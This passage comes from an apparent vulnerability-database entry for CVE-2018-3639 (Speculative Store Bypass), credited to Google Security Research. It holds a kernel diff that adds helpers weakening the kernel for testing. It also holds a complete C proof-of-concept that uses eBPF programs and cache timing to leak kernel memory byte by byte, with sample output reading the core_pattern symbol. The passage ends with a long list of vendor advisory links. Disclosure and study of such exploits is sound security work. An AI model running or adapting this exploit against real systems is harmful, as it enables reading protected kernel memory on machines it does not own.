+ .ret_type = RET_INTEGER,
+ /* theoretically permits CLFLUSH on invalid addresses,
+ * but the PoC doesn't do that
+ */
+ .arg1_type = ARG_DONTCARE
+};
diff --git a/kernel/bpf/syscall.c b/kernel/bpf/syscall.c
index 5cb783fc8224..2dd9a2a95630 100644
--- a/kernel/bpf/syscall.c
+++ b/kernel/bpf/syscall.c
@@ -605,6 +605,85 @@ static int map_lookup_elem(union bpf_attr *attr)
return err;
}

+static int map_time_flush_loc(union bpf_attr *attr)
+{
+ void __user *ukey = u64_to_user_ptr(attr->key);
+ void __user *uvalue = u64_to_user_ptr(attr->value);
+ int ufd = attr->map_fd;
+ struct bpf_map *map;
+ void *key, *ptr;
+ struct fd f;
+ int err = 0;
+ u64 delay = 0;
+
+ f = fdget(ufd);
+ map = __bpf_map_get(f);
+ if (IS_ERR(map))
+ return PTR_ERR(map);
+
+ if (!(f.file->f_mode & FMODE_CAN_READ)) {
+ err = -EPERM;
+ goto err_put;
+ }
+
+ if (map->map_type != BPF_MAP_TYPE_ARRAY) {
+ err = -EINVAL;
+ goto err_put;
+ }
+
+ if (attr->flags > 0x100000 || attr->flags >= map->value_size) {
+ err = -EINVAL;
+ goto err_put;
+ }
+ asm volatile("lfence");
+
+ key = memdup_user(ukey, map->key_size);
+ if (IS_ERR(key)) {
+ err = PTR_ERR(key);
+ goto err_put;
+ }
+
+ rcu_read_lock();
+ ptr = map->ops->map_lookup_elem(map, key);
+ if (ptr) {
+ unsigned int t1, t2;
+ ptr = (char*)ptr + attr->flags;
+ asm volatile(
+ "xor %%r11, %%r11\n\t"
+ "lfence\n\t"
+ "rdtscp\n\t"
+ "mov %%eax, %%ebx\n\t"
+ "mov (%%rdi), %%r11b\n\t"
+ "rdtscp\n\t"
+ "mfence\n\t"
+ "clflush (%%rdi)\n\t"
+ "mfence\n\t"
+ ://out
+ "=a"(t2),
+ "=b"(t1)
+ ://in
+ "D"(ptr)
+ ://clobber
+ "r11",
+ "rcx",
+ "rdx",
+ "memory"
+ );
+ delay = t2 - t1;
+ }
+ rcu_read_unlock();
+ if (copy_to_user(uvalue, &delay, 8)) {
+ err = -EINVAL;
+ goto free_key;
+ }
+
+free_key:
+ kfree(key);
+err_put:
+ fdput(f);
+ return err;
+}
+
#define BPF_MAP_UPDATE_ELEM_LAST_FIELD flags

static int map_update_elem(union bpf_attr *attr)
@@ -1713,6 +1792,9 @@ SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr
__user *, uattr, unsigned int, siz
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
+ case 0x13370001:
+ err = map_time_flush_loc(&attr);
+ break;
case BPF_MAP_DELETE_ELEM:
err = map_delete_elem(&attr);
break;
diff --git a/net/core/filter.c b/net/core/filter.c
index 1c0eb436671f..e310a345054c 100644
--- a/net/core/filter.c
+++ b/net/core/filter.c
@@ -3347,6 +3347,8 @@ bpf_base_func_proto(enum bpf_func_id func_id)
return &bpf_tail_call_proto;
case BPF_FUNC_ktime_get_ns:
return &bpf_ktime_get_ns_proto;
+ case 4:
+ return &bpf_clflush_mfence_proto;
case BPF_FUNC_trace_printk:
if (capable(CAP_SYS_ADMIN))
return bpf_get_trace_printk_proto();
----------------------- END -----------------------

The PoC:

----------------------- START -----------------------
*/

#define _GNU_SOURCE
#include <pthread.h>
#include <assert.h>
#include <err.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <pthread.h>
#include <errno.h>
#include <limits.h>
#include <stdbool.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stddef.h>
#include <signal.h>
#include <string.h>
#include <ctype.h>
#include <sys/mman.h>
#include <sys/user.h>

#define GPLv2 "GPL v2"
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

/* registers */
/* caller-saved: r0..r5 */
#define BPF_REG_ARG1 BPF_REG_1
#define BPF_REG_ARG2 BPF_REG_2
#define BPF_REG_ARG3 BPF_REG_3
#define BPF_REG_ARG4 BPF_REG_4
#define BPF_REG_ARG5 BPF_REG_5
#define BPF_REG_CTX BPF_REG_6
#define BPF_REG_FP BPF_REG_10

#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_EMIT_CALL(FUNC) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_CALL, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = (FUNC) })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_LD_ABS(SIZE, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

int bpf_(int cmd, union bpf_attr *attrs) {
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int array_create(int value_size, int num_entries) {
union bpf_attr create_map_attrs = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = 4,
.value_size = value_size,
.max_entries = num_entries
};
int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
if (mapfd == -1)
err(1, "map create");
return mapfd;
}

unsigned int array_time_flush_loc(int mapfd, uint32_t idx, uint32_t off) {
uint64_t time;
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&idx,
.value = (uint64_t)&time,
.flags = off,
};

int res = bpf_(0x13370001, &attr);
if (res)
err(1, "map flush loc");
return time;
}

void array_set_dw(int mapfd, uint32_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)&value,
.flags = BPF_ANY,
};

int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr);
if (res)
err(1, "map update elem");
}

int prog_load(struct bpf_insn *insns, size_t insns_count) {
char verifier_log[100000];
union bpf_attr create_prog_attrs = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = insns_count,
.insns = (uint64_t)insns,
.license = (uint64_t)GPLv2,
.log_level = 1,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
int errno_ = errno;
//printf("==========================\n%s==========================\n",
verifier_log);
errno = errno_;
if (progfd == -1)
err(1, "prog load");
return progfd;
}

int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
int progfd = prog_load(insns, insns_count);

// hook eBPF program up to a socket
// sendmsg() to the socket will trigger the filter
// returning 0 in the filter should toss the packet
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
err(1, "socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
err(1, "setsockopt");
return socks[1];
}

void trigger_proc(int sockfd) {
if (write(sockfd, "X", 1) != 1)
err(1, "write to proc socket failed");
}

int input_map, leak_map;
int sockfds[16];

int leak_bit(unsigned long addr, int bit) {
array_set_dw(input_map, 0, addr);
int count_0 = 0, count_1 = 0;
while (count_0 + count_1 < 100) {
array_time_flush_loc(leak_map, 0, 2048+0x1000);
trigger_proc(sockfds[bit+8]);
unsigned int t1 = array_time_flush_loc(leak_map, 0, 2048+0x1000);

array_time_flush_loc(leak_map, 0, 2048);
trigger_proc(sockfds[bit+0]);
unsigned int t0 = array_time_flush_loc(leak_map, 0, 2048);

//printf("%u %u\n", t0, t1);
if (t0 < 50)
count_0++;
if (t1 < 50)
count_1++;
}
printf("%d vs %d\n", count_0, count_1);
return (count_0 > count_1) ? 0 : 1;
}

int leak_byte(unsigned long addr) {
int byte = 0;
for (int bit=0; bit<8; bit++) {
byte |= leak_bit(addr, bit)<<bit;
}
return byte;
}

int main(int argc, char **argv) {
setbuf(stdout, NULL);
input_map = array_create(8, 1);
leak_map = array_create(0x3000, 1);

if (argc != 3)
errx(1, "invocation (expects addr and length)");

#define BPF_REG_CONFUSED_SLOT BPF_REG_6
#define BPF_REG_SLOW_SLOT BPF_REG_7
#define BPF_REG_CONFUSED_SLOT_ALIAS BPF_REG_8
#define BPF_REG_LEAK_ARRAY BPF_REG_9

#define BPF_REG_CONFUSED BPF_REG_1
#define BPF_REG_SECRET_VALUE BPF_REG_2
#define BPF_REG_DUMMY_SLOT BPF_REG_3

for (int i=0; i<16; i++) {
bool dummy_ff = (i >= 8);
int selected_bit = i & 7;
struct bpf_insn insns[] = {
/* setup: write 0x00 or 0xff to -216 to get a big stack
allocation and to prepare dummy */
BPF_ST_MEM(BPF_B, BPF_REG_FP, -216, dummy_ff ? 0x00 : 0xff),

/* setup: compute stack slot pointers to :
* - type-confused stack slot (at -72)
* - pointer to type-confused stack slot (at -144)
*/
BPF_MOV64_REG(BPF_REG_CONFUSED_SLOT, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_CONFUSED_SLOT, -72),
BPF_MOV64_REG(BPF_REG_SLOW_SLOT, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_SLOW_SLOT, -144),
//BPF_MOV64_REG(BPF_REG_0, BPF_REG_FP),
//BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, -216),

/* write to dummy slot (to make a big stack and to permit later read) */
//BPF_ST_MEM(BPF_DW, BPF_REG_0, 0, 0),

/* setup: store victim memory pointer in BPF_REG_CONFUSED_SLOT */
BPF_LD_MAP_FD(BPF_REG_ARG1, input_map),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_0, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_CONFUSED_SLOT, BPF_REG_0, 0),

/* setup: spill pointer to type-confused stack slot */
BPF_STX_MEM(BPF_DW, BPF_REG_SLOW_SLOT, BPF_REG_CONFUSED_SLOT, 0),

/* setup: load pointer to leak area into register */
BPF_LD_MAP_FD(BPF_REG_ARG1, leak_map),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, 2048), /* leak_map+2048 */
BPF_MOV64_REG(BPF_REG_LEAK_ARRAY, BPF_REG_0),

/* CHEATED: fence and flush */
BPF_MOV64_REG(BPF_REG_1, BPF_REG_SLOW_SLOT),
BPF_EMIT_CALL(4/*clflush_mfence*/),

BPF_MOV64_REG(BPF_REG_DUMMY_SLOT, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_DUMMY_SLOT, -216),

/* START CRITICAL PATH */
BPF_LDX_MEM(BPF_DW, BPF_REG_CONFUSED_SLOT_ALIAS,
BPF_REG_SLOW_SLOT, 0), /* high-latency read of slot address */
BPF_STX_MEM(BPF_DW, BPF_REG_CONFUSED_SLOT_ALIAS,
BPF_REG_DUMMY_SLOT, 0), /* bypassed store via high-latency address */
BPF_LDX_MEM(BPF_DW, BPF_REG_CONFUSED, BPF_REG_CONFUSED_SLOT, 0),

BPF_LDX_MEM(BPF_B, BPF_REG_SECRET_VALUE, BPF_REG_CONFUSED, 0),
BPF_ALU64_IMM(BPF_AND, BPF_REG_SECRET_VALUE, 1<<selected_bit),
/* 0 or 1 */
BPF_ALU64_IMM(BPF_LSH, BPF_REG_SECRET_VALUE, 12-selected_bit),
/* 0 or 0x1000 */
BPF_ALU64_REG(BPF_ADD, BPF_REG_LEAK_ARRAY, BPF_REG_SECRET_VALUE),
BPF_LDX_MEM(BPF_B, BPF_REG_0, BPF_REG_LEAK_ARRAY, 0),
/* END CRITICAL PATH */

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
sockfds[i] = create_filtered_socket_fd(insns, ARRSIZE(insns));
puts("BPF PROG LOADED SUCCESSFULLY");
}

/*
puts("testing flushed...\n");
for (int i=-1; i<10; i++) {
unsigned int res = array_time_flush_loc(leak_map, 0, 2048);
if (i >= 0)
printf(" %u\n", res);
}
*/

unsigned long base_addr = strtoull(argv[1], NULL, 16);
for (int i=0; i<atoi(argv[2]); i++) {
unsigned long addr = base_addr + i;
unsigned char leaked = leak_byte(addr);
printf("%016lx: 0x%02hhx ('%c')\n", addr, leaked, leaked);
}

return 0;
}

*/
----------------------- END -----------------------

PoC usage:

$ sudo grep core_pattern /proc/kallsyms
ffffffff9b2954e0 D core_pattern
$ gcc -o bpf_store_skipper_assisted bpf_store_skipper_assisted.c
$ time ./bpf_store_skipper_assisted ffffffff9b2954e0 5
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
4 vs 96
1 vs 99
100 vs 0
100 vs 0
100 vs 0
2 vs 98
0 vs 100
100 vs 0
ffffffff9b2954e0: 0x63 ('c')
2 vs 98
1 vs 99
1 vs 99
1 vs 99
100 vs 0
2 vs 98
0 vs 100
100 vs 0
ffffffff9b2954e1: 0x6f ('o')
100 vs 0
3 vs 97
100 vs 0
100 vs 0
1 vs 99
2 vs 98
0 vs 100
100 vs 0
ffffffff9b2954e2: 0x72 ('r')
2 vs 98
100 vs 0
0 vs 100
100 vs 0
100 vs 0
0 vs 100
0 vs 100
100 vs 0
ffffffff9b2954e3: 0x65 ('e')
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
ffffffff9b2954e4: 0x00 ('')

real 0m31.591s
user 0m2.547s
sys 0m27.429s
*/

Trust: 1.0

sources: EXPLOIT-DB: 44695

EXPLOIT LANGUAGE

c

Trust: 0.6

sources: EXPLOIT-DB: 44695

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 44695

TYPE

Speculative Execution Variant 4 Speculative Store Bypass

Trust: 1.6

sources: EXPLOIT-DB: 44695 // EDBNET: 97936

TAGS

tag:exploit

Trust: 0.5

sources: PACKETSTORM: 147839

CREDITS

Google Security Research

Trust: 0.6

sources: EXPLOIT-DB: 44695

EXTERNAL IDS

db:NVDid:CVE-2018-3639

Trust: 1.8

db:EXPLOIT-DBid:44695

Trust: 1.6

db:EDBNETid:97936

Trust: 0.6

db:PACKETSTORMid:147839

Trust: 0.5

db:CERT/CCid:VU#180049

Trust: 0.3

db:USCERTid:TA18-141A

Trust: 0.3

db:BIDid:104232

Trust: 0.3

sources: BID: 104232 // PACKETSTORM: 147839 // EXPLOIT-DB: 44695 // EDBNET: 97936

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2018-3639

Trust: 1.5

url:https://bugs.chromium.org/p/project-zero/issues/detail?id=1528

Trust: 1.3

url:https://www.exploit-db.com/exploits/44695/

Trust: 0.6

url:https://access.redhat.com/errata/rhsa-2018:1655

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1646

Trust: 0.3

url:https://www.arm.com/

Trust: 0.3

url:https://developer.amd.com/wp-content/resources/124441_amd64_speculativestorebypassdisable_whitepaper_final.pdf

Trust: 0.3

url:https://access.redhat.com/security/cve/cve-2018-3639

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1633

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1668

Trust: 0.3

url:https://wiki.ubuntu.com/securityteam/knowledgebase/variant4?_ga=2.99593501.240865643.1527227385-2135630886.1527227385

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1665

Trust: 0.3

url:https://usn.ubuntu.com/3651-1/

Trust: 0.3

url:https://kb.vmware.com/s/article/54951

Trust: 0.3

url:http://www.intel.com/content/www/us/en/homepage.html

Trust: 0.3

url:http://www.amd.com/en-gb

Trust: 0.3

url:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/adv180012

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1653

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1669

Trust: 0.3

url:https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html

Trust: 0.3

url:https://usn.ubuntu.com/3653-1/

Trust: 0.3

url:https://usn.ubuntu.com/3655-2/

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1642

Trust: 0.3

url:https://www.us-cert.gov/ncas/alerts/ta18-141a

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1657

Trust: 0.3

url:https://usn.ubuntu.com/3652-1/

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1643

Trust: 0.3

url:https://www.amd.com/en/corporate/security-updates

Trust: 0.3

url:http://xenbits.xen.org/xsa/advisory-263.html

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1650

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1651

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1659

Trust: 0.3

url:https://usn.ubuntu.com/3653-2/

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1629

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1676

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1686

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1645

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1663

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1662

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1675

Trust: 0.3

url:https://security.netapp.com/advisory/ntap-20180521-0001/

Trust: 0.3

url:https://usn.ubuntu.com/3654-2/

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1656

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1630

Trust: 0.3

url:https://www.synology.com/en-global/support/security/synology_sa_18_23

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1664

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1649

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1660

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1661

Trust: 0.3

url:https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20180521-cpusidechannel

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1658

Trust: 0.3

url:https://www.vmware.com/security/advisories/vmsa-2018-0012.html

Trust: 0.3

url:https://bugzilla.redhat.com/show_bug.cgi?id=1566890

Trust: 0.3

url:http://aix.software.ibm.com/aix/efixes/security/variant4_advisory.asc

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1652

Trust: 0.3

url:https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00115.html

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1648

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1674

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1644

Trust: 0.3

url:https://developer.arm.com/support/arm-security-updates/speculative-processor-vulnerability

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1654

Trust: 0.3

url:https://www.kb.cert.org/vuls/id/180049

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1667

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1666

Trust: 0.3

url:https://blogs.technet.microsoft.com/srd/2018/05/21/analysis-and-mitigation-of-speculative-store-bypass-cve-2018-3639/

Trust: 0.3

url:https://usn.ubuntu.com/3654-1/

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2018:1647

Trust: 0.3

sources: BID: 104232 // PACKETSTORM: 147839 // EXPLOIT-DB: 44695 // EDBNET: 97936

SOURCES

db:BIDid:104232
db:PACKETSTORMid:147839
db:EXPLOIT-DBid:44695
db:EDBNETid:97936

LAST UPDATE DATE

2022-07-27T09:26:57.794000+00:00


SOURCES UPDATE DATE

db:BIDid:104232date:2019-01-16T07:00:00

SOURCES RELEASE DATE

db:BIDid:104232date:2018-05-21T00:00:00
db:PACKETSTORMid:147839date:2018-05-24T17:39:20
db:EXPLOIT-DBid:44695date:2018-05-22T00:00:00
db:EDBNETid:97936date:2018-05-22T00:00:00